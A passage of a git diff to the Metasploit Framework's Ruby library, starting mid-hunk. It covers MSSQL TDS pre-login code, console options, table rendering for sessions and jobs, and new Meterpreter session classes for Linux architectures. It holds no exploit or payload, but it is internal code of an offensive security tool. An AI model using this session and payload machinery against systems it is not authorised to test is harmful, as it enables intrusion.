:int @@ -560,7 +529,7 @@ module Metasploit raw = data.slice!(0, len) if (len and len > 0) case len - when 0,255 + when 0, 255 row << '' when 1 row << raw.unpack("C")[0] @@ -573,7 +542,7 @@ module Metasploit when 8 row << raw.unpack('VV')[0] # XXX: missing high dword else - info[:errors] << "invalid integer size: #{len} #{data[0,16].unpack("H*")[0]}" + info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}" end else info[:errors] << "unknown column type: #{col.inspect}" @@ -595,7 +564,7 @@ module Metasploit pkt_data = "" - pkt_hdr = [ + pkt_hdr = [ TYPE_PRE_LOGIN_MESSAGE, #type STATUS_END_OF_MESSAGE, #status 0x0000, #length @@ -604,7 +573,7 @@ module Metasploit 0x00 #Window ] - version = [0x55010008,0x0000].pack("Vv") + version = [0x55010008, 0x0000].pack("Vv") # if manually set, we will honour if tdsencryption == true @@ -615,45 +584,45 @@ module Metasploit instoptdata = "MSSQLServer\0" - threadid = "\0\0" + Rex::Text.rand_text(2) + threadid = "\0\0" + Rex::Text.rand_text(2) idx = 21 # size of pkt_data_token - pkt_data_token << [ - 0x00, # Token 0 type Version - idx , # VersionOffset + pkt_data_token << [ + 0x00, # Token 0 type Version + idx , # VersionOffset version.length, # VersionLength - 0x01, # Token 1 type Encryption - idx = idx + version.length, # EncryptionOffset - 0x01, # EncryptionLength + 0x01, # Token 1 type Encryption + idx = idx + version.length, # EncryptionOffset + 0x01, # EncryptionLength - 0x02, # Token 2 type InstOpt - idx = idx + 1, # InstOptOffset - instoptdata.length, # InstOptLength + 0x02, # Token 2 type InstOpt + idx = idx + 1, # InstOptOffset + instoptdata.length, # InstOptLength - 0x03, # Token 3 type Threadid - idx + instoptdata.length, # ThreadIdOffset - 0x04, # ThreadIdLength + 0x03, # Token 3 type Threadid + idx + instoptdata.length, # ThreadIdOffset + 0x04, # ThreadIdLength 0xFF ].pack("CnnCnnCnnCnnC") - pkt_data << pkt_data_token - pkt_data << version - pkt_data << encryption - pkt_data << instoptdata - pkt_data << threadid + pkt_data << pkt_data_token + pkt_data << version + pkt_data << encryption + pkt_data << instoptdata + pkt_data << threadid - pkt_hdr[2] = pkt_data.length + 8 + pkt_hdr[2] = pkt_data.length + 8 - pkt = pkt_hdr.pack("CCnnCC") + pkt_data + pkt = pkt_hdr.pack("CCnnCC") + pkt_data resp = mssql_send_recv(pkt) idx = 0 - while resp and resp[0,1] != "\xff" and resp.length > 5 - token = resp.slice!(0,5) + while resp && resp[0, 1] != "\xff" && resp.length > 5 + token = resp.slice!(0, 5) token = token.unpack("Cnn") idx -= 5 if token[0] == 0x01 @@ -663,7 +632,7 @@ module Metasploit end end if idx > 0 - encryption_mode = resp[idx,1].unpack("C")[0] + encryption_mode = resp[idx, 1].unpack("C")[0] else raise RunTimeError, "Unable to parse encryption req. "\ "from server during prelogin" @@ -701,8 +670,8 @@ module Metasploit idx = 0 - while resp and resp[0,1] != "\xff" and resp.length > 5 - token = resp.slice!(0,5) + while resp && resp[0, 1] != "\xff" && resp.length > 5 + token = resp.slice!(0, 5) token = token.unpack("Cnn") idx -= 5 if token[0] == 0x01 @@ -711,7 +680,7 @@ module Metasploit end end if idx > 0 - encryption_mode = resp[idx,1].unpack("C")[0] + encryption_mode = resp[idx, 1].unpack("C")[0] else raise RuntimeError, "Unable to parse encryption "\ "req during pre-login" @@ -735,17 +704,17 @@ module Metasploit while(not done) head = sock.get_once(8, timeout) - if !(head and head.length == 8) + if !(head && head.length == 8) return false end # Is this the last buffer? - if(head[1,1] == "\x01" or not check_status ) + if head[1, 1] == "\x01" || !check_status done = true end # Grab this block's length - rlen = head[2,2].unpack('n')[0] - 8 + rlen = head[2, 2].unpack('n')[0] - 8 while(rlen > 0) buff = sock.get_once(rlen, timeout) @@ -758,7 +727,7 @@ module Metasploit resp end - def mssql_ssl_send_recv(req,tdsproxy,timeout=15,check_status=true) + def mssql_ssl_send_recv(req, tdsproxy, timeout=15, check_status=true) tdsproxy.send_recv(req) end diff --git a/lib/metasploit/framework/mssql/tdssslproxy.rb b/lib/metasploit/framework/mssql/tdssslproxy.rb index e48499d346..1e020c31bb 100644 --- a/lib/metasploit/framework/mssql/tdssslproxy.rb +++ b/lib/metasploit/framework/mssql/tdssslproxy.rb @@ -51,8 +51,9 @@ class TDSSSLProxy def setup_ssl @running = true @t1 = Thread.start { ssl_setup_thread } - ssl_context = OpenSSL::SSL::SSLContext.new(:TLSv1) - @ssl_socket = OpenSSL::SSL::SSLSocket.new(@s1, ssl_context) + ctx = OpenSSL::SSL::SSLContext.new(:SSLv23) + ctx.ciphers = "ALL:!ADH:!EXPORT:!SSLv2:!SSLv3:+HIGH:+MEDIUM" + @ssl_socket = OpenSSL::SSL::SSLSocket.new(@s1, ctx) @ssl_socket.connect end diff --git a/lib/metasploit/framework/parsed_options/console.rb b/lib/metasploit/framework/parsed_options/console.rb index 66052a00d6..0789cf06ae 100644 --- a/lib/metasploit/framework/parsed_options/console.rb +++ b/lib/metasploit/framework/parsed_options/console.rb @@ -10,7 +10,6 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par options.console.commands = [] options.console.confirm_exit = false - options.console.defanged = false options.console.local_output = nil options.console.plugins = [] options.console.quiet = false @@ -40,10 +39,6 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par options.console.confirm_exit = true end - option_parser.on('-d', '--defanged', 'Execute the console as defanged') do - options.console.defanged = true - end - option_parser.on('-L', '--real-readline', 'Use the system Readline library instead of RbReadline') do options.console.real_readline = true end diff --git a/lib/metasploit/framework/rails_version_constraint.rb b/lib/metasploit/framework/rails_version_constraint.rb index 6258becfb0..488f8a0e52 100644 --- a/lib/metasploit/framework/rails_version_constraint.rb +++ b/lib/metasploit/framework/rails_version_constraint.rb @@ -5,7 +5,7 @@ module Metasploit module RailsVersionConstraint # The Metasploit ecosystem is not yet ready for Rails 4.1: - RAILS_VERSION = [ '>= 4.0.9', '< 4.1.0' ] + RAILS_VERSION = '~> 4.2.6' end end end diff --git a/lib/metasploit/framework/spec/constants.rb b/lib/metasploit/framework/spec/constants.rb index 534f7bba25..c062e2bb30 100644 --- a/lib/metasploit/framework/spec/constants.rb +++ b/lib/metasploit/framework/spec/constants.rb @@ -42,7 +42,7 @@ module Metasploit::Framework::Spec::Constants # Adds actions to `spec` task so that `rake spec` fails if any of the following: # # # `log/leaked-constants.log` exists after printing out the leaked constants. - # # {Each.configured!} is unnecessary in `spec/spec_helper.rb` and should be removed. + # # Each.configured! is unnecessary in `spec/spec_helper.rb` and should be removed. # # @return [void] def self.define_task @@ -96,4 +96,4 @@ module Metasploit::Framework::Spec::Constants full_name end -end \ No newline at end of file +end diff --git a/lib/metasploit/framework/spec/constants/each.rb b/lib/metasploit/framework/spec/constants/each.rb index ec9b3fe4bb..32e4d50e3a 100644 --- a/lib/metasploit/framework/spec/constants/each.rb +++ b/lib/metasploit/framework/spec/constants/each.rb @@ -19,7 +19,7 @@ module Metasploit::Framework::Spec::Constants::Each attr_accessor :leaks_cleaned end - # Is {Metasploit::Framework::Spec::Constants::Each.configure!} still necessary or should it be removed? + # Is Metasploit::Framework::Spec::Constants::Each.configure! still necessary or should it be removed? # # @return [true] if {configure!}'s `before(:each)` cleaned up leaked constants # @return [false] otherwise @@ -91,7 +91,7 @@ module Metasploit::Framework::Spec::Constants::Each !!@configured end - # Adds action to `spec` task so that `rake spec` fails if {configured!} is unnecessary in `spec/spec_helper.rb` and + # Adds action to `spec` task so that `rake spec` fails if configured! is unnecessary in `spec/spec_helper.rb` and # should be removed # # @return [void] @@ -116,4 +116,4 @@ module Metasploit::Framework::Spec::Constants::Each end end end -end \ No newline at end of file +end diff --git a/lib/metasploit/framework/spec/constants/suite.rb b/lib/metasploit/framework/spec/constants/suite.rb index 2fd42da3c7..fb99d14ed3 100644 --- a/lib/metasploit/framework/spec/constants/suite.rb +++ b/lib/metasploit/framework/spec/constants/suite.rb @@ -6,7 +6,7 @@ module Metasploit::Framework::Spec::Constants::Suite LOGS_PATHNAME = Pathname.new('log/metasploit/framework/spec/constants/suite') - # Logs leaked constants to {LOG_PATHNAME} and prints `message` to stderr. + # Logs leaked constants to LOG_PATHNAME and prints `message` to stderr. # # @param hook (see log_pathname) # @param message [String] additional message printed to stderr when there is at least one leaked constant. @@ -116,4 +116,4 @@ module Metasploit::Framework::Spec::Constants::Suite leaks end -end \ No newline at end of file +end diff --git a/lib/metasploit/framework/thread_factory_provider.rb b/lib/metasploit/framework/thread_factory_provider.rb index 2045a4b5bd..82709047e6 100644 --- a/lib/metasploit/framework/thread_factory_provider.rb +++ b/lib/metasploit/framework/thread_factory_provider.rb @@ -1,5 +1,5 @@ # Wraps {Msf::Framework} so that {Msf::Framework#threads} is only created on the first call to {#spawn} by -# {Rex::ThreadFactory#spawn}, which allows the threads used by {Msf::ThreadManager} to be created lazily. +# Rex::ThreadFactory#spawn, which allows the threads used by {Msf::ThreadManager} to be created lazily. # # @example Setting Rex::ThreadFactory.provider and spawning threads # Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: framework) @@ -23,4 +23,4 @@ class Metasploit::Framework::ThreadFactoryProvider < Metasploit::Model::Base def spawn(name, critical, *args, &block) framework.threads.spawn(name, critical, *args, &block) end -end \ No newline at end of file +end diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 47b58a2d4c..486177de5c 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.11.14" + VERSION = "4.12.42" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash diff --git a/lib/msf/base/config.rb b/lib/msf/base/config.rb index 4878180280..ca31d16d87 100644 --- a/lib/msf/base/config.rb +++ b/lib/msf/base/config.rb @@ -27,7 +27,7 @@ class Config < Hash # @return [String] the base configuration directory def self.get_config_root - # Use MSFCFGDIR environment variable first. See feature request #5797 + # Use MSF_CFGROOT_CONFIG environment variable first. val = Rex::Compat.getenv('MSF_CFGROOT_CONFIG') if (val and File.directory?(val)) return val diff --git a/lib/msf/base/serializer/json.rb b/lib/msf/base/serializer/json.rb index b1f6024af5..01a58cac8d 100644 --- a/lib/msf/base/serializer/json.rb +++ b/lib/msf/base/serializer/json.rb @@ -14,7 +14,7 @@ module Msf # the supplied module instance. # # @param mod [Msf::Module] the module to dump information for. - # @param indent [String] the indentation to use. + # @param _indent [String] the indentation to use. # @return [String] formatted text output of the dump. def self.dump_module(mod, _indent = "") case mod.type diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index ae2cca777a..29b6cc4b8a 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -46,7 +46,7 @@ class ReadableText # @param h [String] the string to display as the table heading. # @return [String] the string form of the table. def self.dump_exploit_targets(mod, indent = '', h = nil) - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Indent' => indent.length, 'Header' => h, 'Columns' => @@ -70,7 +70,7 @@ class ReadableText # @param h [String] the string to display as the table heading. # @return [String] the string form of the table. def self.dump_exploit_target(mod, indent = '', h = nil) - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Indent' => indent.length, 'Header' => h, 'Columns' => @@ -92,7 +92,7 @@ class ReadableText # @param h [String] the string to display as the table heading. # @return [String] the string form of the table. def self.dump_module_actions(mod, indent = '', h = nil) - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Indent' => indent.length, 'Header' => h, 'Columns' => @@ -116,7 +116,7 @@ class ReadableText # @param h [String] the string to display as the table heading. # @return [String] the string form of the table. def self.dump_module_action(mod, indent = '', h = nil) - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Indent' => indent.length, 'Header' => h, 'Columns' => @@ -139,7 +139,7 @@ class ReadableText # @param h [String] the string to display as the table heading. # @return [String] the string form of the table. def self.dump_compatible_payloads(exploit, indent = '', h = nil) - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Indent' => indent.length, 'Header' => h, 'Columns' => @@ -390,7 +390,7 @@ class ReadableText # @param missing [Boolean] dump only empty required options. # @return [String] the string form of the information. def self.dump_options(mod, indent = '', missing = false) - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Indent' => indent.length, 'Columns' => [ @@ -400,16 +400,15 @@ class ReadableText 'Description' ]) - mod.options.sorted.each { |entry| - name, opt = entry - val = mod.datastore[name] || opt.default + mod.options.sorted.each do |name, opt| + val = mod.datastore[name].nil? ? opt.default : mod.datastore[name] next if (opt.advanced?) next if (opt.evasion?) next if (missing && opt.valid?(val)) tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ] - } + end return tbl.to_s end @@ -420,24 +419,23 @@ class ReadableText # @param indent [String] the indentation to use. # @return [String] the string form of the information. def self.dump_advanced_options(mod, indent = '') - output = '' - pad = indent + tbl = Rex::Text::Table.new( + 'Indent' => indent.length, + 'Columns' => + [ + 'Name', + 'Current Setting', + 'Required', + 'Description' + ]) - mod.options.sorted.each { |entry| - name, opt = entry + mod.options.sorted.each do |name, opt| + next unless opt.advanced? + val = mod.datastore[name].nil? ? opt.default : mod.datastore[name] + tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ] + end - next if (!opt.advanced?) - - val = mod.datastore[name] || opt.default.to_s - desc = word_wrap(opt.desc, indent.length + 3) - desc = desc.slice(indent.length + 3, desc.length) - - output << pad + "Name : #{name}\n" - output << pad + "Current Setting: #{val}\n" - output << pad + "Description : #{desc}\n" - } - - return output + return tbl.to_s end # Dumps the evasion options associated with the supplied module. @@ -446,25 +444,23 @@ class ReadableText # @param indent [String] the indentation to use. # @return [String] the string form of the information. def self.dump_evasion_options(mod, indent = '') - output = '' - pad = indent + tbl = Rex::Text::Table.new( + 'Indent' => indent.length, + 'Columns' => + [ + 'Name', + 'Current Setting', + 'Required', + 'Description' + ]) - mod.options.sorted.each { |entry| - name, opt = entry + mod.options.sorted.each do |name, opt| + next unless opt.evasion? + val = mod.datastore[name].nil? ? opt.default : mod.datastore[name] + tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ] + end - next if (!opt.evasion?) - - val = mod.datastore[name] || opt.default || '' - - desc = word_wrap(opt.desc, indent.length + 3) - desc = desc.slice(indent.length + 3, desc.length) - - output << pad + "Name : #{name}\n" - output << pad + "Current Setting: #{val}\n" - output << pad + "Description : #{desc}\n" - } - - return output + return tbl.to_s end # Dumps the references associated with the supplied module. @@ -475,7 +471,7 @@ class ReadableText def self.dump_references(mod, indent = '') output = '' - if (mod.respond_to? :references and mod.references and mod.references.length > 0) + if (mod.respond_to?(:references) && mod.references && mod.references.length > 0) output << "References:\n" mod.references.each { |ref| output << indent + ref.to_s + "\n" @@ -494,7 +490,7 @@ class ReadableText # @param col [Integer] the column width. # @return [String] the formatted DataStore contents. def self.dump_datastore(name, ds, indent = DefaultIndent, col = DefaultColumnWrap) - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Indent' => indent, 'Header' => name, 'Columns' => @@ -514,19 +510,14 @@ class ReadableText # # @param framework [Msf::Framework] the framework to dump. # @param opts [Hash] the options to dump with. - # @option opts :session_ids [Array] the list of sessions to dump (no - # effect). # @option opts :verbose [Boolean] gives more information if set to # true. # @option opts :indent [Integer] set the indentation amount. - # @option opts :col [Integer] the column wrap width. # @return [String] the formatted list of sessions. def self.dump_sessions(framework, opts={}) - ids = (opts[:session_ids] || framework.sessions.keys).sort verbose = opts[:verbose] || false show_extended = opts[:show_extended] || false indent = opts[:indent] || DefaultIndent - col = opts[:col] || DefaultColumnWrap return dump_sessions_verbose(framework, opts) if verbose @@ -534,10 +525,11 @@ class ReadableText columns << 'Id' columns << 'Type' columns << 'Checkin?' if show_extended + columns << 'Local URI' if show_extended columns << 'Information' columns << 'Connection' - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Indent' => indent, 'Header' => "Active sessions", 'Columns' => columns) @@ -562,6 +554,12 @@ class ReadableText else row << '?' end + + if session.exploit_datastore.has_key?('LURI') && !session.exploit_datastore['LURI'].empty? + row << " (#{session.exploit_datastore['LURI']})" + else + row << '?' + end end row << sinfo @@ -577,12 +575,8 @@ class ReadableText # # @param framework [Msf::Framework] the framework to dump. # @param opts [Hash] the options to dump with. - # @option opts :session_ids [Array] the list of sessions to dump (no - # effect). # @return [String] the formatted list of sessions. def self.dump_sessions_verbose(framework, opts={}) - ids = (opts[:session_ids] || framework.sessions.keys).sort - out = "Active sessions\n" + "===============\n\n" @@ -601,6 +595,7 @@ class ReadableText sess_type = session.type.to_s sess_uuid = session.payload_uuid.to_s sess_puid = session.payload_uuid.respond_to?(:puid_hex) ? session.payload_uuid.puid_hex : nil + sess_luri = session.exploit_datastore['LURI'] || "" sess_checkin = "" sess_machine_id = session.machine_id.to_s @@ -630,6 +625,9 @@ class ReadableText out << " MachineID: #{sess_machine_id}\n" out << " CheckIn: #{sess_checkin}\n" out << " Registered: #{sess_registration}\n" + if !sess_luri.empty? + out << " LURI: #{sess_luri}\n" + end @@ -649,45 +647,53 @@ class ReadableText # @param col [Integer] the column wrap width. # @return [String] the formatted list of running jobs. def self.dump_jobs(framework, verbose = false, indent = DefaultIndent, col = DefaultColumnWrap) - columns = [ 'Id', 'Name', "Payload", "LPORT" ] + columns = [ 'Id', 'Name', "Payload", "Payload opts" ] if (verbose) - columns += [ "URIPATH", "Start Time" ] + columns += [ "URIPATH", "Start Time", "Handler opts" ] end - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Indent' => indent, 'Header' => "Jobs", 'Columns' => columns ) - # jobs are stored as a hash with the keys being a numeric job_id. - framework.jobs.keys.sort{|a,b| a.to_i <=> b.to_i }.each { |k| + # jobs are stored as a hash with the keys being a numeric String job_id. + framework.jobs.keys.sort_by(&:to_i).each do |job_id| # Job context is stored as an Array with the 0th element being # the running module. If that module is an exploit, ctx will also # contain its payload. - ctx = framework.jobs[k].ctx - row = [ k, framework.jobs[k].name ] - row << (ctx[1].nil? ? (ctx[0].datastore['PAYLOAD'] || "") : ctx[1].refname) + exploit_mod, _payload_mod = framework.jobs[job_id].ctx + row = [] + row[0] = job_id + row[1] = framework.jobs[job_id].name - # Make the LPORT show the bind port if it's different - local_port = ctx[0].datastore['LPORT'] - bind_port = ctx[0].datastore['ReverseListenerBindPort'] - lport = (local_port || "").to_s - if bind_port && bind_port != 0 && bind_port != lport - lport << " (#{bind_port})" - end - row << lport + pinst = exploit_mod.respond_to?(:payload_instance) ? exploit_mod.payload_instance : nil - if (verbose) - uripath = ctx[0].get_resource if ctx[0].respond_to?(:get_resource) - uripath = ctx[0].datastore['URIPATH'] if uripath.nil? - row << (uripath || "") - row << (framework.jobs[k].start_time || "") + if pinst.nil? + row[2] = "" + row[3] = "" + else + row[2] = pinst.refname + row[3] = "" + if pinst.respond_to?(:payload_uri) + row[3] << pinst.payload_uri + end + if pinst.respond_to?(:luri) + row[3] << pinst.luri + end end + if verbose + uripath = exploit_mod.get_resource if exploit_mod.respond_to?(:get_resource) + uripath ||= exploit_mod.datastore['URIPATH'] + row[4] = uripath + row[5] = framework.jobs[job_id].start_time + row[6] = pinst.respond_to?(:listener_uri) ? pinst.listener_uri : "" + end tbl << row - } + end return framework.jobs.keys.length > 0 ? tbl.to_s : "#{tbl.header_to_s}No active jobs.\n" end diff --git a/lib/msf/base/sessions/command_shell.rb b/lib/msf/base/sessions/command_shell.rb index d22ac17dbc..d37c712b07 100644 --- a/lib/msf/base/sessions/command_shell.rb +++ b/lib/msf/base/sessions/command_shell.rb @@ -50,6 +50,7 @@ class CommandShell def initialize(*args) self.platform ||= "" self.arch ||= "" + self.max_threads = 1 super end @@ -216,7 +217,7 @@ class CommandShell end end - if (datastore['InitialAutoRunScript'] && datastore['InitialAutoRunScript'].empty? == false) + if datastore['InitialAutoRunScript'] && !datastore['InitialAutoRunScript'].empty? args = Shellwords.shellwords( datastore['InitialAutoRunScript'] ) print_status("Session ID #{sid} (#{tunnel_to_s}) processing InitialAutoRunScript '#{datastore['InitialAutoRunScript']}'") execute_script(args.shift, *args) @@ -235,6 +236,7 @@ class CommandShell attr_accessor :arch attr_accessor :platform + attr_accessor :max_threads protected diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index a2c031f93a..9aeccbcd33 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -69,6 +69,9 @@ class Meterpreter < Rex::Post::Meterpreter::Client # Don't pass the datastore into the init_meterpreter method opts.delete(:datastore) + # Assume by default that 10 threads is a safe number for this session + self.max_threads ||= 10 + # # Initialize the meterpreter client # @@ -322,6 +325,40 @@ class Meterpreter < Rex::Post::Meterpreter::Client def update_session_info username = self.sys.config.getuid sysinfo = self.sys.config.sysinfo + tuple = self.platform.split('/') + + # + # Windows meterpreter currently needs 'win32' or 'win64' to be in the + # second half of the platform tuple, in order for various modules and + # library code match on that specific string. + # + if self.platform !~ /win32|win64/ + + platform = case self.sys.config.sysinfo['OS'] + when /windows/i + Msf::Module::Platform::Windows + when /darwin/i + Msf::Module::Platform::OSX + when /freebsd/i + Msf::Module::Platform::FreeBSD + when /netbsd/i + Msf::Module::Platform::NetBSD + when /openbsd/i + Msf::Module::Platform::OpenBSD + when /sunos/i + Msf::Module::Platform::Solaris + when /android/i + Msf::Module::Platform::Android + else + Msf::Module::Platform::Linux + end.realname.downcase + + # + # This normalizes the platform from 'python/python' to 'python/linux' + # + self.platform = "#{tuple[0]}/#{platform}" + end + safe_info = "#{username} @ #{sysinfo['Computer']}" safe_info.force_encoding("ASCII-8BIT") if safe_info.respond_to?(:force_encoding) @@ -474,6 +511,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client attr_accessor :skip_ssl attr_accessor :skip_cleanup attr_accessor :target_id + attr_accessor :max_threads protected diff --git a/lib/msf/base/sessions/meterpreter_armle_linux.rb b/lib/msf/base/sessions/meterpreter_armle_linux.rb new file mode 100644 index 0000000000..7ec7dd105e --- /dev/null +++ b/lib/msf/base/sessions/meterpreter_armle_linux.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +require 'msf/base/sessions/meterpreter' + +module Msf +module Sessions + +### +# +# This class creates a platform-specific meterpreter session type +# +### +class Meterpreter_armle_Linux < Msf::Sessions::Meterpreter + def supports_ssl? + false + end + def supports_zlib? + false + end + def initialize(rstream, opts={}) + super + self.platform = 'armle/linux' + self.binary_suffix = 'lso' + end +end + +end +end + diff --git a/lib/msf/base/sessions/meterpreter_mipsbe_linux.rb b/lib/msf/base/sessions/meterpreter_mipsbe_linux.rb new file mode 100644 index 0000000000..29c00ce4e0 --- /dev/null +++ b/lib/msf/base/sessions/meterpreter_mipsbe_linux.rb @@ -0,0 +1,30 @@ +# -*- coding: binary -*- + +require 'msf/base/sessions/meterpreter' + +module Msf +module Sessions + +### +# +# This class creates a platform-specific meterpreter session type +# +### +class Meterpreter_mipsbe_Linux < Msf::Sessions::Meterpreter + def supports_ssl? + false + end + def supports_zlib? + false + end + def initialize(rstream, opts={}) + super + self.platform = 'mipsbe/linux' + self.binary_suffix = 'lso' + end +end + +end +end + + diff --git a/lib/msf/base/sessions/meterpreter_mipsle_linux.rb b/lib/msf/base/sessions/meterpreter_mipsle_linux.rb new file mode 100644 index 0000000000..9e0d277803 --- /dev/null +++ b/lib/msf/base/sessions/meterpreter_mipsle_linux.rb @@ -0,0 +1,30 @@ +# -*- coding: binary -*- + +require 'msf/base/sessions/meterpreter' + +module Msf +module Sessions + +### +# +# This class creates a platform-specific meterpreter session type +# +### +class Meterpreter_mipsle_Linux < Msf::Sessions::Meterpreter + def supports_ssl? + false + end + def supports_zlib? + false + end + def initialize(rstream, opts={}) + super + self.platform = 'mipsle/linux' + self.binary_suffix = 'lso' + end +end + +end +end + + diff --git a/lib/msf/base/sessions/meterpreter_options.rb b/lib/msf/base/sessions/meterpreter_options.rb index 789f25c801..b2863874e8 100644 --- a/lib/msf/base/sessions/meterpreter_options.rb +++ b/lib/msf/base/sessions/meterpreter_options.rb @@ -37,13 +37,13 @@ module MeterpreterOptions framework.sessions.schedule Proc.new { # Configure unicode encoding before loading stdapi - session.encode_unicode = ( datastore['EnableUnicodeEncoding'] ? true : false ) + session.encode_unicode = datastore['EnableUnicodeEncoding'] session.init_ui(self.user_input, self.user_output) valid = true - if datastore['AutoVerifySession'] == true + if datastore['AutoVerifySession'] if not session.is_valid_session?(datastore['AutoVerifySessionTimeout'].to_i) print_error("Meterpreter session #{session.sid} is not valid and will be closed") valid = false @@ -52,7 +52,7 @@ module MeterpreterOptions if valid - if datastore['AutoLoadStdapi'] == true + if datastore['AutoLoadStdapi'] session.load_stdapi @@ -72,7 +72,7 @@ module MeterpreterOptions end [ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key| - if (datastore[key].empty? == false) + if !datastore[key].empty? args = Shellwords.shellwords( datastore[key] ) print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'") session.execute_script(args.shift, *args) diff --git a/lib/msf/base/sessions/meterpreter_x64_mettle_linux.rb b/lib/msf/base/sessions/meterpreter_x64_mettle_linux.rb new file mode 100644 index 0000000000..a8928cdfff --- /dev/null +++ b/lib/msf/base/sessions/meterpreter_x64_mettle_linux.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +require 'msf/base/sessions/meterpreter' + +module Msf +module Sessions + +### +# +# This class creates a platform-specific meterpreter session type +# +### +class Meterpreter_x64_Mettle_Linux < Msf::Sessions::Meterpreter + def supports_ssl? + false + end + def supports_zlib? + false + end + def initialize(rstream, opts={}) + super + self.platform = 'x64/linux' + self.binary_suffix = 'lso' + end +end + +end +end + diff --git a/lib/msf/base/sessions/meterpreter_x86_mettle_linux.rb b/lib/msf/base/sessions/meterpreter_x86_mettle_linux.rb new file mode 100644 index 0000000000..c379668d89 --- /dev/null +++ b/lib/msf/base/sessions/meterpreter_x86_mettle_linux.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +require 'msf/base/sessions/meterpreter' + +module Msf +module Sessions + +### +# +# This class creates a platform-specific meterpreter session type +# +### +class Meterpreter_x86_Mettle_Linux < Msf::Sessions::Meterpreter + def supports_ssl? + false + end + def supports_zlib? + false + end + def initialize(rstream, opts={}) + super + self.platform = 'x86/linux' + self.binary_suffix = 'lso' + end +end + +end +end + diff --git a/lib/msf/base/sessions/scriptable.rb b/lib/msf/base/sessions/scriptable.rb index 662b28091e..d78095014a 100644 --- a/lib/msf/base/sessions/scriptable.rb +++ b/lib/msf/base/sessions/scriptable.rb @@ -27,7 +27,7 @@ module Scriptable # Scan all of the path combinations check_paths.each { |path| - if ::File.exists?(path) + if ::File.exist?(path) full_path = path break end diff --git a/lib/msf/base/sessions/vncinject_options.rb b/lib/msf/base/sessions/vncinject_options.rb index 05962133fc..d86a5f4dbd 100644 --- a/lib/msf/base/sessions/vncinject_options.rb +++ b/lib/msf/base/sessions/vncinject_options.rb @@ -84,7 +84,7 @@ module VncInjectOptions print_status("Local TCP relay started.") # If the AUTOVNC flag is set, launch VNC viewer. - if (datastore['AUTOVNC'] == true) + if datastore['AUTOVNC'] if (session.autovnc(datastore['ViewOnly'])) print_status("Launched vncviewer.") else diff --git a/lib/msf/base/simple/buffer.rb b/lib/msf/base/simple/buffer.rb index d786bafda6..c093e9f3ca 100644 --- a/lib/msf/base/simple/buffer.rb +++ b/lib/msf/base/simple/buffer.rb @@ -48,7 +48,7 @@ module Buffer when 'java' buf = Rex::Text.to_java(buf, var_name) when 'powershell', 'ps1' - buf = Rex::Text.to_powershell(buf, var_name) + buf = Rex::Powershell.to_powershell(buf, var_name) when 'vbscript' buf = Rex::Text.to_vbscript(buf, var_name) when 'vbapplication' diff --git a/lib/msf/base/simple/exploit.rb b/lib/msf/base/simple/exploit.rb index 389b336ed8..7a23f9e852 100644 --- a/lib/msf/base/simple/exploit.rb +++ b/lib/msf/base/simple/exploit.rb @@ -56,11 +56,11 @@ module Exploit # job. # def self.exploit_simple(oexploit, opts, &block) + exploit = oexploit.replicant # Trap and print errors here (makes them UI-independent) begin - # Clone the module to prevent changes to the original instance - exploit = oexploit.replicant + Msf::Simple::Framework.simplify_module( exploit, false ) yield(exploit) if block_given? diff --git a/lib/msf/base/simple/framework.rb b/lib/msf/base/simple/framework.rb index b14346fd00..8cf10f22f2 100644 --- a/lib/msf/base/simple/framework.rb +++ b/lib/msf/base/simple/framework.rb @@ -30,7 +30,7 @@ module Framework def load(path, opts = {}) def_path = Msf::Config.plugin_directory + File::SEPARATOR + path - if (File.exists?(def_path) or File.exists?(def_path + ".rb")) + if (File.exist?(def_path) or File.exist?(def_path + ".rb")) super(def_path, opts) else super diff --git a/lib/msf/base/simple/framework/module_paths.rb b/lib/msf/base/simple/framework/module_paths.rb index d2ba08fc3f..1b1ea5bf33 100644 --- a/lib/msf/base/simple/framework/module_paths.rb +++ b/lib/msf/base/simple/framework/module_paths.rb @@ -21,7 +21,7 @@ module Msf allowed_module_paths << Msf::Config.user_module_directory end - Rails.application.railties.engines.each do |engine| + ::Rails::Engine.subclasses.map(&:instance).each do |engine| extract_engine_module_paths(engine).each do |path| allowed_module_paths << path end @@ -58,7 +58,6 @@ module Msf # Extract directories `engine.paths['modules']` from `engine`. # # @param engine [Rails::Engine] a rails engine or application - # @param options [Hash] options for 